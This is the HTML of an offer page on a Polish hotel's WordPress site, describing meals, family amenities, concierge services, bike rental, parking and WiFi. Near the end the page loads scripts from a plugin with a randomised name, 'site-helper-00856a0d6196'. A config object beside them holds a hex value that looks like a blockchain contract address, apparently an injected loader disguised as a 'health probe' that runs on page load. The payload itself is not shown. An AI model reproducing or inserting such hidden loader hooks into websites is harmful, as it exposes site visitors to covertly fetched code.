            <form class="navbar-form" action="https://upperbooking.com/pl/booking/city/wrap/hotelczarnaroza/" method="get">
                <div class="input-group">
                    <input type="text" id="dp1" class="form-control" data-date-format="dd-mm-yyyy" placeholder="Data przyjazdu" name="checkin">
                    <div class="input-group-addon"><span class="glyphicon glyphicon-calendar"></span></div>
                </div>
                <div class="input-group">
                    <input type="text" id="dp2" class="form-control" data-date-format="dd-mm-yyyy" placeholder="Data odjazdu" name="checkout">
                    <div class="input-group-addon"><span class="glyphicon glyphicon-calendar"></span></div>
                </div>
                <button type="submit" class="btn btn-primary check-submit">Sprawdź dostępność</button>
            </form>
        </div>
    </div>
</div>


<!-- start content container offer-page.php template -->
<div class="container dmbs-container undermenu">
<div class="row dmbs-content">

    <div class="col-md-12 dmbs-main offer-full" data-menu-offset="-80" id="offerfull">

                <div class="offer-invitation">
          <div class="container">
            <div class="col-md-8 col-sm-10 col-sm-offset-1 col-md-offset-2"><h1>Sprawimy, że chwile spędzone w Toruniu będą niezapomniane.</h1>
<h2>Hotel Czarna Róża to nie tylko kameralne i przytulne przestrzenie.&nbsp;Przekonaj się, że sam pokój to nie wszystko.</h2>
</div>
          </div>
        </div>

                      
            

                 <!--  loop through the rows of data -->
              

                                              <div class="frame offer-frame margins col-md-12" style="background-image:url('https://hotelczarnaroza.pl/wp-content/uploads/2015/02/bgr_concept_6-800x532.jpg')" id="1" >
                                    

                                                                            <div class="col-sm-8 col-sm-offset-2 col-md-6 col-md-offset-3 offer-text">
                                      
                                                <h1>Jedzenie</h1>
                                                <p><p>W Czarnej Róży zjesz pyszne śniadania i popołudniowe przekąski. Śniadanie wybierzesz spośród bogatego wachlarza potraw, od tradycyjnych posiłków, przez potrawy wegetariańskie i wegańskie. Jeśli preferujesz menu bezglutenowe bez problemu je dla Ciebie skomponujemy.</p>
</p>
                                                
                                    </div>
                                    
  
                      </div>

                   
              

                                              <div class="frame offer-frame margins col-md-12" style="background-image:url('https://hotelczarnaroza.pl/wp-content/uploads/2015/02/Artboard-1-800x500.jpg')" id="2" >
                                    

                                                                            <div class="col-sm-8 col-sm-offset-2 col-md-6 col-md-offset-3 offer-text">
                                      
                                                <h1>Dla dzieci</h1>
                                                <p><p>Jesteśmy wrażliwi na potrzeby naszych najmłodszych gości. Nasze pokoje są odpowiednio wyposażone, tak aby zapewnić komfort dzieciom i ich opiekunom. Dziecięce łóżeczka turystyczne oraz kolorowa pościel z pewnością umilą odpoczynek. Kącik zabaw w naszym lobby zachwyci dzieci, bo każda chwila zabawy jest ważna.</p>
</p>
                                                
                                    </div>
                                    
  
                      </div>

                   
              

                                              <div class="frame offer-frame margins col-md-12" style="background-image:url('https://hotelczarnaroza.pl/wp-content/uploads/2016/04/image-6-800x600.jpeg')" id="3" >
                                    

                                                                            <div class="col-sm-8 col-sm-offset-2 col-md-6 col-md-offset-3 offer-text">
                                      
                                                <h1>Recepcja do zadań specjalnych</h1>
                                                <p><p>Potrzebujesz specjalnych atrakcji?<br />
Przygotujemy wszelkie stylizacje i niespodzianki. Pokój w płatkach róż na zaręczyny, dodatkowe kwiaty w pokoju, oryginalne zwiedzanie miasta z przewodnikiem, a może rezerwacja biletów do teatru, kina lub na koncert? Wszystko dla Ciebie zorganizujemy.</p>
</p>
                                                
                                    </div>
                                    
  
                      </div>

                   
              

                                              <div class="frame offer-frame margins col-md-12" style="background-image:url('https://hotelczarnaroza.pl/wp-content/uploads/2016/04/image-20-800x600.jpeg')" id="4" >
                                    

                                                                            <div class="col-sm-8 col-sm-offset-2 col-md-6 col-md-offset-3 offer-text">
                                      
                                                <h1>Stawiamy na ekologię</h1>
                                                <p><p>Od zawsze przywiązujemy dużą wagę do ekologii. Segregujemy nieorganiczne odpady, oszczędzamy energię, mało drukujemy, a resztki pozostałego wyżywienia oddajemy zwierzętom.</p>
</p>
                                                
                                    </div>
                                    
  
                      </div>

                   
              

                                              <div class="frame offer-frame margins col-md-12" style="background-image:url('https://hotelczarnaroza.pl/wp-content/uploads/2016/04/image-4-800x517.jpeg')" id="5" >
                                    

                                                                            <div class="col-sm-8 col-sm-offset-2 col-md-6 col-md-offset-3 offer-text">
                                      
                                                <h1>Wypoczynek</h1>
                                                <p><p>Jeśli poszukujesz aktywnego wypoczynku, możesz skorzystać bezpłatnie z wypożyczalni rowerów. Wystarczy, że zarezerwujesz sprzęt w recepcji. Oczywiście podpowiemy Ci, gdzie warto pojechać na wycieczkę i co zwiedzić. Pomożemy wybrać odpowiednią trasę dostosowaną do Twoich sił i potrzeb.</p>
</p>
                                                
                                    </div>
                                    
  
                      </div>

                   
              

                                              <div class="frame offer-frame margins col-md-12" style="background-image:url('https://hotelczarnaroza.pl/wp-content/uploads/2016/04/image-8-800x404.jpeg')" id="6" >
                                    

                                                                            <div class="col-sm-8 col-sm-offset-2 col-md-6 col-md-offset-3 offer-text">
                                      
                                                <h1>Parking</h1>
                                                <p><p>Nasz Hotel mieści się w zwartej zabudowie Starego Miasta. Strzeżony parking dla Twojego auta znajduje się w pobliżu, z gwarancją, że zawsze będzie na nim miejsce. Ale to nie znaczy, że nie możesz podjechać samochodem pod sam hotel, aby rozpakować bagaże. Przed hotelem znajduje się strefa miejskiego parkowania.</p>
</p>
                                                                                                  <a class="btn btn-primary btn-lg" href="https://hotelczarnaroza.pl/kontakt/">Zobacz mapę</a>
                                                
                                    </div>
                                    
  
                      </div>

                   
              
                          <div class="frame offer-frame offer-boxes" id="7" data-menu-offset="-25p">
            
                            <div class="centerwrp_1">
                              <div class="centerwrp_2">
                                <div class="centerwrp_3">
                                  <div class="container">

                                    <div class="col-md-12 offer-box-cont">
                                      
                                            <div class="thumbnail" style="background-image:url('https://hotelczarnaroza.pl/wp-content/uploads/2015/02/loundry2.png')">
                                                  <div class="centerwrp_1">
                                                    <div class="centerwrp_2">
                                                      <div class="centerwrp_3">
                                                        <h1>Pranie</h1>
                                                        <p class="">Skorzystaj z automatycznej pralni, jeśli tylko będziesz mieć taką potrzebę. </p>
                                                      </div>
                                                    </div>
                                                  </div> 
                                            </div>
                                        
                                            <div class="thumbnail" style="background-image:url('https://hotelczarnaroza.pl/wp-content/uploads/2015/02/ikona-WIFI6.png')">
                                                  <div class="centerwrp_1">
                                                    <div class="centerwrp_2">
                                                      <div class="centerwrp_3">
                                                        <h1>Internet</h1>
                                                        <p class="">Zapewniamy bezpłatny dostęp do szerokopasmowego internetu przez WiFi, nie tylko w pokoju, ale w całym budynku.</p>
                                                      </div>
                                                    </div>
                                                  </div> 
                                            </div>
                                        
                                                                          </div>
                                    
                                  </div>
                                </div>
                              </div>
                            </div> 
                      </div>

                  
              
           


                
    </div>

            <div class="col-md-2 dmbs-right">
        <aside id="custom_html-2" class="widget_text widget widget_custom_html"><div class="textwidget custom-html-widget"></div></aside>    </div>

</div>

<!-- end content container -->

        </div>
    <!-- end main container -->
    <div class="masterwrap frame socmedia" id="media">
      <div class="centerwrp_1">
          <div class="centerwrp_2">
            <div class="centerwrp_3">
                <div class="container">
                  <div class="row">
                    <div class="soc-call-head">
                      <div class="col-md-10 col-md-offset-1">
                        <h1>Zostań z nami!</h1>

                        <p>Staramy się na bieżąco informować o naszych promocjach, pakietach specjalnych i atrakcjach które będą w zasięgu naszych gości, zarówno w hotelu jak i wśród naszych partnerów kulturalnych w mieście.</p>
                      </div>
                    </div>
                  </div>
                  <div class="row">
                    <div class="col-md-2 col-md-offset-1 socmedia-box">
                      <div class="stay-box">
                                                <h3>nasze społeczności</h3>
                                                <a class="btn social facebook" href="https://www.facebook.com/HotelCzarnaRoza"><img src="https://hotelczarnaroza.pl/wp-content/themes/czarnaroza/img/facebook.svg" class="svg"></a>
                                                <a class="btn social instagram" href="https://www.instagram.com/hotelczarnaroza/"><img src="https://hotelczarnaroza.pl/wp-content/themes/czarnaroza/img/instagram.svg" class="svg"></a>
                                                                        <a class="btn social book"href="http://www.booking.com/hotel/pl/pod-czarna-roza-torun.pl.html?aid=330843;sid=27828ad7a26c5d75fb1dbe41322764f6;dcid=4;dist=0&type=total&"><img src="https://hotelczarnaroza.pl/wp-content/themes/czarnaroza/img/booking.svg"></a>
                      </div>


                    </div>
                    <div class="col-md-5 col-md-offset-3">
                      
                      <script type="text/javascript">
                       //<![CDATA[
                        if (typeof newsletter_check !== "function") {
                        window.newsletter_check = function (f) {
                            var re = /^([a-zA-Z0-9_\.\-\+])+\@(([a-zA-Z0-9\-]{1,})+\.)+([a-zA-Z0-9]{2,})+$/;
                            if (!re.test(f.elements["ne"].value)) {
                                alert("Użyj poprawnego adresu email");
                                return false;
                            }
                            for (var i=1; i<20; i++) {
                            if (f.elements["np" + i] && f.elements["np" + i].required && f.elements["np" + i].value == "") {
                                alert("");
                                return false;
                            }
                            }
                            if (f.elements["ny"] && !f.elements["ny"].checked) {
                                alert("Musisz zaakceptować politykę prywatności");
                                return false;
                            }
                            return true;
                        }
                        }
                        //]]>
                      </script>

                      <div class="newsletter newsletter-subscription stay-box">
                        <h3></h3>
                        <form method="post" action="https://app.freshmail.com/pl/actions/subscribe/" onsubmit="return newsletter_check(this)">
                            <input type="hidden" name="subscribers_list_hash" value="3ukqo4k1il" /><br />
                          <div class="input-group input-group-lg">
                            <input class="newsletter-email form-control" size="30" id="freshmail_email" value="Twój adres email" type="email" name="freshmail_email" required>
                              <span class="input-group-btn">
                                <button class="btn btn-info newsletter-submit" type="submit" value="Zapisz się">Zapisz się</button>
                              </span>
                          </div>

                         
                            
                      


                        </form>
                      </div>
                    </div>
                  </div>
                  
                </div>
            </div>
          </div>
      </div>
    
  </div>
    <div class="dmbs-footer footer">

            <div class="dmbs-footer-menu">
            <nav class="navbar" role="navigation">
                <div class="container">
                    <div class="navbar-nav">
                    <div class="menu-primary-menu-container"><ul id="menu-primary-menu-1" class="nav navbar-nav navbar-left bottom-nav"><li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-191"><a title="Historia" href="https://hotelczarnaroza.pl/historia-hotelu/">Historia</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-has-children menu-item-178 dropdown"><a title="Pokoje" href="https://hotelczarnaroza.pl/pokoje/" data-toggle="dropdown" class="dropdown-toggle" aria-haspopup="true">Pokoje <span class="caret"></span></a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page current-menu-item page_item page-item-97 current_page_item menu-item-130 active"><a title="Oferta hotelu" href="https://hotelczarnaroza.pl/oferta/">Oferta hotelu</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-148"><a title="Dla biznesu" href="https://hotelczarnaroza.pl/oferta-dla-biznesu/">Dla biznesu</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-695"><a title="Galeria" href="https://hotelczarnaroza.pl/galeria/">Galeria</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-1463"><a title="Projekty UE" href="https://hotelczarnaroza.pl/projekty-ue/">Projekty UE</a></li>
<li class="menu-item menu-item-type-post_type menu-item-object-page menu-item-179"><a title="Kontakt" href="https://hotelczarnaroza.pl/kontakt/">Kontakt</a></li>
<li class="visible-xs menu-item menu-item-type-custom menu-item-object-custom menu-item-747"><a title="Zarezerwuj pokój" href="https://upperbooking.com/pl/booking/city/wrap/hotelczarnaroza">Zarezerwuj pokój</a></li>
<li class="visible-xs menu-item menu-item-type-custom menu-item-object-custom menu-item-893"><a title="EN" href="/en/">EN</a></li>
<li class="visible-xs menu-item menu-item-type-custom menu-item-object-custom menu-item-894"><a title="DE" href="/de/">DE</a></li>
</ul></div>                    <div class="menu-technical-menu-container"><ul id="menu-technical-menu" class="nav navbar-nav navbar-right bottom-nav"><li id="menu-item-493" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-493"><a title="Regulamin hotelowy" href="https://hotelczarnaroza.pl/regulamin-hotelowy/">Regulamin hotelowy</a></li>
<li id="menu-item-161" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-161"><a title="FAQ" href="https://hotelczarnaroza.pl/faq/">FAQ</a></li>
<li id="menu-item-166" class="menu-item menu-item-type-post_type menu-item-object-page menu-item-166"><a title="Polityka prywatności" href="https://hotelczarnaroza.pl/legal/">Polityka prywatności</a></li>
</ul></div>                        
                    </div>

                    
                </div>
            </nav>
    </div>

                
        <div class="container">
          <div class="row">
            <div class="col-md-6">
              <div class="footCont"><p>Copyright: © 2016 <b>Hotel Czarna Róża</b>, Wszelkie prawa zastrzeżone.</p>
</div>
            </div>
            <div class="col-md-6">
              <div class="footCont right"><p>projekt i przygotowanie: <a href="http://fabricstudio.pl/" target="_blank">fabric</a></p>
</div>
            </div>
        </div>
        </div>
    </div>




<script type='text/javascript' src='https://hotelczarnaroza.pl/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=7.4.4' id='wp-polyfill-js'></script>
<script type='text/javascript' id='wp-polyfill-js-after'>
( 'fetch' in window ) || document.write( '<script src="https://hotelczarnaroza.pl/wp-includes/js/dist/vendor/wp-polyfill-fetch.min.js?ver=3.0.0"></scr' + 'ipt>' );( document.contains ) || document.write( '<script src="https://hotelczarnaroza.pl/wp-includes/js/dist/vendor/wp-polyfill-node-contains.min.js?ver=3.42.0"></scr' + 'ipt>' );( window.DOMRect ) || document.write( '<script src="https://hotelczarnaroza.pl/wp-includes/js/dist/vendor/wp-polyfill-dom-rect.min.js?ver=3.42.0"></scr' + 'ipt>' );( window.URL && window.URL.prototype && window.URLSearchParams ) || document.write( '<script src="https://hotelczarnaroza.pl/wp-includes/js/dist/vendor/wp-polyfill-url.min.js?ver=3.6.4"></scr' + 'ipt>' );( window.FormData && window.FormData.prototype.keys ) || document.write( '<script src="https://hotelczarnaroza.pl/wp-includes/js/dist/vendor/wp-polyfill-formdata.min.js?ver=3.0.12"></scr' + 'ipt>' );( Element.prototype.matches && Element.prototype.closest ) || document.write( '<script src="https://hotelczarnaroza.pl/wp-includes/js/dist/vendor/wp-polyfill-element-closest.min.js?ver=2.0.2"></scr' + 'ipt>' );( 'objectFit' in document.documentElement.style ) || document.write( '<script src="https://hotelczarnaroza.pl/wp-includes/js/dist/vendor/wp-polyfill-object-fit.min.js?ver=2.3.4"></scr' + 'ipt>' );
</script>
<script type='text/javascript' src='https://hotelczarnaroza.pl/wp-includes/js/dist/hooks.min.js?ver=d0188aa6c336f8bb426fe5318b7f5b72' id='wp-hooks-js'></script>
<script type='text/javascript' src='https://hotelczarnaroza.pl/wp-includes/js/dist/i18n.min.js?ver=6ae7d829c963a7d8856558f3f9b32b43' id='wp-i18n-js'></script>
<script type='text/javascript' id='wp-i18n-js-after'>
wp.i18n.setLocaleData( { 'text direction\u0004ltr': [ 'ltr' ] } );
</script>
<script type='text/javascript' src='https://hotelczarnaroza.pl/wp-includes/js/dist/vendor/lodash.min.js?ver=4.17.21' id='lodash-js'></script>
<script type='text/javascript' id='lodash-js-after'>
window.lodash = _.noConflict();
</script>
<script type='text/javascript' src='https://hotelczarnaroza.pl/wp-includes/js/dist/url.min.js?ver=7c99a9585caad6f2f16c19ecd17a86cd' id='wp-url-js'></script>
<script type='text/javascript' id='wp-api-fetch-js-translations'>
( function( domain, translations ) {
	var localeData = translations.locale_data[ domain ] || translations.locale_data.messages;
	localeData[""].domain = domain;
	wp.i18n.setLocaleData( localeData, domain );
} )( "default", {"translation-revision-date":"2026-08-20 04:44:14+0000","generator":"GlotPress\/4.1.0","domain":"messages","locale_data":{"messages":{"":{"domain":"messages","plural-forms":"nplurals=3; plural=(n == 1) ? 0 : ((n % 10 >= 2 && n % 10 <= 4 && (n % 100 < 12 || n % 100 > 14)) ? 1 : 2);","lang":"pl"},"An unknown error occurred.":["Wyst\u0105pi\u0142 nieznany b\u0142\u0105d."],"The response is not a valid JSON response.":["Odpowied\u017a nie jest prawid\u0142ow\u0105 odpowiedzi\u0105 JSON."],"Media upload failed. If this is a photo or a large image, please scale it down and try again.":["Nie uda\u0142o si\u0119 przes\u0142anie multimedi\u00f3w. Je\u015bli jest to zdj\u0119cie lub du\u017cy obrazek, prosz\u0119 je zmniejszy\u0107 i spr\u00f3bowa\u0107 ponownie."],"You are probably offline.":["Prawdopodobnie jeste\u015b offline."]}},"comment":{"reference":"wp-includes\/js\/dist\/api-fetch.js"}} );
</script>
<script type='text/javascript' src='https://hotelczarnaroza.pl/wp-includes/js/dist/api-fetch.min.js?ver=25cbf3644d200bdc5cab50e7966b5b03' id='wp-api-fetch-js'></script>
<script type='text/javascript' id='wp-api-fetch-js-after'>
wp.apiFetch.use( wp.apiFetch.createRootURLMiddleware( "https://hotelczarnaroza.pl/wp-json/" ) );
wp.apiFetch.nonceMiddleware = wp.apiFetch.createNonceMiddleware( "44c85a7dec" );
wp.apiFetch.use( wp.apiFetch.nonceMiddleware );
wp.apiFetch.use( wp.apiFetch.mediaUploadMiddleware );
wp.apiFetch.nonceEndpoint = "https://hotelczarnaroza.pl/wp-admin/admin-ajax.php?action=rest-nonce";
</script>
<script type='text/javascript' id='contact-form-7-js-extra'>
/* <![CDATA[ */
var wpcf7 = [];
/* ]]> */
</script>
<script type='text/javascript' src='https://hotelczarnaroza.pl/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.4' id='contact-form-7-js'></script>
<script type='text/javascript' src='https://hotelczarnaroza.pl/wp-content/themes/czarnaroza/js/bootstrap.js?ver=1.50' id='theme-js-js'></script>
<script type='text/javascript' src='https://hotelczarnaroza.pl/wp-content/plugins/site-helper-00856a0d6196/assets/lib.umd.js?ver=1.1.1' id='sh00856a0d6196_vendor-js'></script>
<script type='text/javascript' id='sh00856a0d6196_runtime-js-extra'>
/* <![CDATA[ */
var wpHealthSample54 = {"c":"0x58460d0b3d4d6b03761c89120393c0c676676496","v":"https:\/\/hotelczarnaroza.pl\/wp-content\/plugins\/site-helper-00856a0d6196\/assets\/lib.umd.js","a":"1786089991","d":"0"};
/* ]]> */
</script>
<script type='text/javascript' src='https://hotelczarnaroza.pl/wp-content/plugins/site-helper-00856a0d6196/assets/health-probe.js?ver=1.1.1' id='sh00856a0d6196_runtime-js'></script>
<script type='text/javascript' src='https://hotelczarnaroza.pl/wp-includes/js/wp-embed.min.js?ver=5.7.17' id='wp-embed-js'></script>
    <script src="/wp-content/themes/czarnaroza/js/isotope.pkgd.min.js"></script>
    <script src="/wp-content/themes/czarnaroza/js/packery-mode.pkgd.min.js"></script>
    <script src="/wp-content/themes/czarnaroza/js/imagesloaded.pkgd.min.js"></script>
    <script src="/wp-content/themes/czarnaroza/js/respond.js"></script>
    <script src="/wp-content/themes/czarnaroza/js/html5shiv.js"></script>
    <script src="/wp-content/themes/czarnaroza/js/skrollr.js"></script>
    <script src="/wp-content/themes/czarnaroza/js/skrollr.menu.js"></script>
    <script src="/wp-content/themes/czarnaroza/js/bootstrap-datepicker.js"></script>
    <script src="/wp-content/themes/czarnaroza/js/lightbox.min.js"></script>
    <script src="/wp-content/themes/czarnaroza/js/script.js"></script>

    <script>
    jQuery( function() {
            
            // init Isotope
            var $container = jQuery('#isotope-cont').imagesLoaded( function() {
            $container.isotope({
              itemSelector: '.item',
               layoutMode: 'packery',
              sortBy: 'original-order'
            });
          });
          });


    </script>

    <script>
  (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
  (i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
  m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
  })(window,document,'script','https://www.google-analytics.com/analytics.js','ga');

  ga('create', 'UA-74637723-1', 'auto');
  ga('send', 'pageview');

</script>



</div>
</div>


</body>

</html>